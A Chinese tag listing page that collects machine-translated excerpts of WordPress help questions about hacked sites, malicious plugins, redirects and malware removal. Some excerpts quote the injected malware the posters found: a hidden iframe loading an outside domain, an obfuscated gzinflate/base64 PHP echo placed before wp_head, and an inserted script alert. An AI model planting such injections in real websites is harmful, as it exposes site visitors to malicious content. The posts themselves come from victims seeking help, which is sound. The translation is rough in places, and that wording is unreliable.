您当前的位置：首页 > TAG信息列表 > virus
我的WordPress网站被黑了
今天工作时，我试着安装Go Pricing 此网站的插件。https://www.downloadfreethemes.download/go-pricing-v3-3-8-wordpress-responsive-pricing-tables/ 第一次没有成功，然后我试了好几次，但都没有结果。过了一段时间，我的网站一片空白。我搜索了Xampp错误，试图从数据库中停用插件（我无法访问admin或frontend）最后，我在function.php这是我必须担心的事吗？在我的WordPress上还
UpdraftPlus安装了恶意软件-现在不敢下载或更新插件！
几个月前，我安装了UpdraftPlus （免费版）在我的WordPress上。组织网站。让我感到恐怖的是，紧接着我们开始得到弹出窗口，当你点击“确定”时会重定向到垃圾邮件网站。我卸载了UpdraftPlus，但问题仍然存在。谷歌提供了一个链接，指向一个有着类似问题的人——一个回复告诉我在哪里可以找到可能已经剩下的额外文件。果然，在那个地方我找到了一些UpdraftPlus德语文件。我一删除这些，弹出窗口就消失了。现在我需要一个WP备份，但我害怕安装其他插件。我真的很想使用UpdraftPlus，因为它经
WordPress插件或主题会包含病毒吗？
是否有可能以WordPress插件/主题的形式编写病毒？是否可以：窃取用户数据</损坏现有WordPress安装</自我传播病毒</是否存在此类病毒的现有病例？
用户是否可以在我的多站点上传播病毒？
用户是否会传播病毒或对多站点安装造成危害？用户能否在帖子中使用“HTML”选项？我的多站点在哪些方面有机会受到攻击？你能给我建议一些使用multisite的注意事项吗？我想像任何其他博客平台一样，维护Muilti网站，以便公众注册。
恶意脚本正被附加到我的标记中。帮助?
在我的网站上，正在添加以下脚本：<iframe width=\"1\" height=\"1\" frameborder=\"0\" src=\"http://hysofufewobe.com/k985ytv.htm\"> 我尝试在WP安装目录中的每个文件中搜索“hysofufewobe”，但没有结果，因此代码可能被混淆了。我不确定是WordPress还是我的主持人DreamHost出了问题。我已经联系了我的主人，询问是否有关于类似问题的报告。尚未答复。我想我会在这期间问你。有人知道
Malware in header.php
四个不同的网站被感染并被Google屏蔽，在快速查看之后，我在wp\\u head（）之前注意到了这一点：<?php #d93065# echo(gzinflate(base64_decode(\"tVVNj5swEP0... (edited out) hH5m7L/5+/gM=\"))); #/d93065# wp_head(); ?> 我已经清除了代码，但几个小时后又出现了这种情况。然后一次又一次。我认为timthumb是罪魁祸首，但这发生在一个
显示在<！DOCTYPE>标记之前的JavaScript警报
我有关于Debian挤压的wordpress 3.5.1。每次页面加载之前，javascript警报都会显示消息2819371938193817109948281937271937 必须单击“确定”才能查看页面。每次刷新或点击某个帖子，我都会收到这个消息。自从上次网站正常运行以来，我什么也没做。屏幕截图：源代码：<script>alert(\"2819371938193817109948281937271937\");</script> <!DOCTYPE html
Unable to access WP admin
我无法通过以下方式访问管理员：http://example.com/admin 或http://example.com/wp-admin Fatal error: Class \'ObjectModel\' not found in /home3/xxxxxx/public_html/example.com/wp-includes/class.wp-dependencies.php on line 28 我的网站上有一个特洛伊木马，它将.htaccess 重定向内容。更糟糕的是
针对恶意软件的建议和插件
我从WordPress开始，希望确保我的博客保持无恶意软件。我已经看到，要确保这一点，有很多事情要做。就个人而言，我希望保持轻松，并且仍然受到保护。像Better WP Security这样的插件好吗？但是它可能会给一些插件带来一些兼容性问题，或者我正在考虑在一些主机上使用类似Sitelock的东西。或者我应该两者都用？你有什么建议？非常感谢。
从WP 2.8升级的最佳方式(！)？
我请一位朋友帮我翻译他（大部分）希伯来文安装的部分内容。然后他告诉我两件事：1） 他运行的是2.8（他担心更新，因为他不想破坏设计）2）他有理由怀疑该网站感染了特洛伊木马，因为它被一些抗病毒药物阻断。1） 升级的最佳方式是什么？甚至可以重新开始安装并保持一切完好吗？包括重定向？或者我必须按照WP的文档进行：逐步升级。2） 如何处理特洛伊木马？这就是我考虑重新安装的原因，我知道这可能不推荐。提前谢谢你
我的WordPress站点内有恶意代码吗？
我用我的Iphone访问了我们的网站，当我点击我们的一些菜单，如工业和电力，而不是看到正确的链接时，我看到了Trk。tracksys55。然后是另一个可疑的网站，直到它指示我到AppStore下载一个应用程序。我应该检查什么文件来验证或删除此可疑链接。非常感谢。
无法从wp网站删除恶意软件
我最近将我的网站提交给adwords，但由于恶意软件或链接而被拒绝。在www.ws30中检测到的链接。共箱。com。我已经用wordfence、sucuri等插件扫描了我的wordpress网站，但似乎没有删除恶意链接。我是一个新手，我用一个页面生成器创建了这个网站，所以我没有编码知识。你能建议我在哪里找到这个链接并删除它吗？有youtube视频吗？我急需帮助。
为什么我的WordPress博客文件被更改了？
我在wordpress上有一个博客，在godaddy上托管。我不断得到一些核心wordpress文件自动更改。我的博客项目在git上，因此我可以轻松地找到它并重置git提交版本。就连我也看不到什么新东西。添加ico文件。我真的很沮丧。由于这些文件，谷歌广告和谷歌广告被屏蔽。我怎样才能摆脱这种文件的自动更改。我尝试了wordfence插件，但它并没有阻止文件被编辑，但可以向我发送通知。
Inject added to title
有一个很大的问题，在标题wordpress站点有时（随机）添加了注入代码（截图）。代码之后，在带有横幅的页面上添加了站点重定向。更改服务器通行证、更改用户通行证、添加google身份验证和更改输入点（不是wp login.php），但每天都要注入工作。Wordpress 4.9.4。如何阻止它？
如何区分黑客攻击和编码错误？
今天早上，我正在使用一个新的图像库插件。在使用它两个小时后，我们的服务器遇到了严重的网络流量问题，然后服务器似乎就坏了。在它关闭前不久，我禁用了该插件，因为我遇到了DB连接问题，并认为这可能是一个兼容性问题。DNS已切换到备份服务器。当我回到原始服务器时，在一个页面上有一些非常小的代码差异。本节取自php模板，而不是呈现的内容下面是一个示例：上一页：<p>Derpa Derp. Derp\'s like to derpa. Foo bar derps continue to inspire u
是否需要病毒检测插件？
现在Wordpress需要一个病毒检测插件？编辑：我的意思是防止攻击和违规。。。例如，我正在使用以下插件：https://sucuri.net/wordpress-security/wordpress-security-monitoring 我每天都收到一些关于“登录失败”的电子邮件，使用“admin”作为用户名，以及来自许多不同IP地址的不同密码。
WordPress在每个操作/过滤器挂钩之后过滤该挂钩
在我的wordpress站点中，在wp\\u页脚操作的页脚中添加了病毒脚本。我尝试了很多技术，但我找不到病毒钩子的位置。是否有任何wp操作/过滤器，即每个操作/过滤器挂钩后的挂钩，包括挂钩的输出数据？我是说，如果有人add_action(\"wp_footer\",\"abc\"); function abc(){ echo \"inside content\"; } 我想要这个。output: inside content function ABC, fil
旧网站中的恶意软件-如何迁移？
我受聘为一家公司建立一个新网站，而该公司的旧网站已经变成了垃圾场。然后，我被要求将1000多篇博文从旧网站迁移到新网站。这也带来了它自己的问题，因为所有东西都是在所有东西的古老版本上运行的，而且出口量很大。在所有这些故障排除过程中，我被告知旧网站有一种叫做“宙斯”的病毒。所以我的问题是，将数据库导入到新站点是否也会导入该恶意软件？如果是，是否有办法确保我只复制所需的信息？谢谢
扫描多个网站以查找位于同一网站主机根目录中的恶意软件？
我有一堆WordPress网站，我与同一家托管公司托管。我使用相同的帐户管理它们，使它们位于相同的根目录中。我注意到我的一个网站感染了恶意软件。除了在我的每个网站上安装防病毒插件并扫描该网站之外，还有没有更快的方法让我检查我的所有网站？它是由一家网络托管公司托管的，所以我不能像那样在服务器上安装软件。
Suspicious google tag manager
我正在尝试将一些分析集成到我的网站中，在调试我的网站不起作用的原因时，我发现这一行放在了我的文档的开头：<script async=\"\" src=\"https://www.googletagmanager.com/gtag/js?id=UA-75655200-4&l=c69d3b65dc6d40db98d2e3ee3cc1fd37\"></script>现在这很奇怪，因为我禁用了我在谷歌分析中使用的所有插件。此外，当我查找该帐户ID时，我会找到一些称为Kyin